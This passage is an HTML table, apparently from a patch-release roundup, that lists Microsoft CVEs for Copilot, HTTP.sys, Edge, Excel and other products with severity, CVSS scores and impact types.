 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41109"><span>CVE-2026-41109</span></a></td>
  <td width="256" class="xl74">GitHub Copilot and
  Visual Studio Code Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50510"><span>CVE-2026-50510</span></a></td>
  <td width="256" class="xl74">GitHub Copilot Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49787"><span>CVE-2026-49787</span></a></td>
  <td width="256" class="xl74">HTTP.sys Denial of
  Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50420"><span>CVE-2026-50420</span></a></td>
  <td width="256" class="xl74">HTTP.sys Information
  Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49788"><span>CVE-2026-49788</span></a></td>
  <td width="256" class="xl74">HTTP/2 Denial of
  Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50696"><span>CVE-2026-50696</span></a></td>
  <td width="256" class="xl74">Internet Key Exchange
  (IKE) Protocol Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58617"><span>CVE-2026-58617</span></a></td>
  <td width="256" class="xl74">M365 Copilot for iOS
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58595"><span>CVE-2026-58595</span></a></td>
  <td width="256" class="xl74">Microsoft Bing App for
  IOS Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49162"><span>CVE-2026-49162</span></a></td>
  <td width="256" class="xl74">Microsoft Brokering
  File System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50305"><span>CVE-2026-50305</span></a></td>
  <td width="256" class="xl74">Microsoft Brokering
  File System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50361"><span>CVE-2026-50361</span></a></td>
  <td width="256" class="xl74">Microsoft Brokering
  File System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50466"><span>CVE-2026-50466</span></a></td>
  <td width="256" class="xl74">Microsoft Brokering
  File System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50458"><span>CVE-2026-50458</span></a></td>
  <td width="256" class="xl74">Microsoft Brokering
  File System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="72">
  <td class="xl67" height="72"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50658"><span>CVE-2026-50658</span></a></td>
  <td width="256" class="xl74">Microsoft Defender for
  Endpoint for Mac Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="72">
  <td class="xl67" height="72"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56178"><span>CVE-2026-56178</span></a></td>
  <td width="256" class="xl74">Microsoft Defender for
  Endpoint for Mac Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50657"><span>CVE-2026-50657</span></a></td>
  <td width="256" class="xl74">Microsoft Defender for
  Endpoint for Mac Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50329"><span>CVE-2026-50329</span></a></td>
  <td width="256" class="xl74">Microsoft DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58541"><span>CVE-2026-58541</span></a></td>
  <td width="256" class="xl74">Microsoft DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58596"><span>CVE-2026-58596</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57991"><span>CVE-2026-57991</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58291"><span>CVE-2026-58291</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57981"><span>CVE-2026-57981</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57984"><span>CVE-2026-57984</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57985"><span>CVE-2026-57985</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57986"><span>CVE-2026-57986</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57988"><span>CVE-2026-57988</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57992"><span>CVE-2026-57992</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58276"><span>CVE-2026-58276</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56645"><span>CVE-2026-56645</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57974"><span>CVE-2026-57974</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57975"><span>CVE-2026-57975</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58281"><span>CVE-2026-58281</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58284"><span>CVE-2026-58284</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58285"><span>CVE-2026-58285</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58287"><span>CVE-2026-58287</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58288"><span>CVE-2026-58288</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58289"><span>CVE-2026-58289</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">9</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58290"><span>CVE-2026-58290</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58292"><span>CVE-2026-58292</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58293"><span>CVE-2026-58293</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58294"><span>CVE-2026-58294</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57983"><span>CVE-2026-57983</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58295"><span>CVE-2026-58295</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58525"><span>CVE-2026-58525</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57987"><span>CVE-2026-57987</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58278"><span>CVE-2026-58278</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56646"><span>CVE-2026-56646</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57977"><span>CVE-2026-57977</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57993"><span>CVE-2026-57993</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58282"><span>CVE-2026-58282</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58283"><span>CVE-2026-58283</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58286"><span>CVE-2026-58286</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58298"><span>CVE-2026-58298</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58524"><span>CVE-2026-58524</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58296"><span>CVE-2026-58296</span></a></td>
  <td width="256" class="xl74">Microsoft Edge for
  Android Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58297"><span>CVE-2026-58297</span></a></td>
  <td width="256" class="xl74">Microsoft Edge for
  Android Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58300"><span>CVE-2026-58300</span></a></td>
  <td width="256" class="xl74">Microsoft Edge for
  Android Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58522"><span>CVE-2026-58522</span></a></td>
  <td width="256" class="xl74">Microsoft Edge for
  Android Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58299"><span>CVE-2026-58299</span></a></td>
  <td width="256" class="xl74">Microsoft Edge for
  Android Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58523"><span>CVE-2026-58523</span></a></td>
  <td width="256" class="xl74">Microsoft Edge for
  Android Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50678"><span>CVE-2026-50678</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54988"><span>CVE-2026-54988</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48580"><span>CVE-2026-48580</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50408"><span>CVE-2026-50408</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55046"><span>CVE-2026-55046</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55138"><span>CVE-2026-55138</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55054"><span>CVE-2026-55054</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55122"><span>CVE-2026-55122</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55898"><span>CVE-2026-55898</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50675"><span>CVE-2026-50675</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55899"><span>CVE-2026-55899</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55948"><span>CVE-2026-55948</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58618"><span>CVE-2026-58618</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
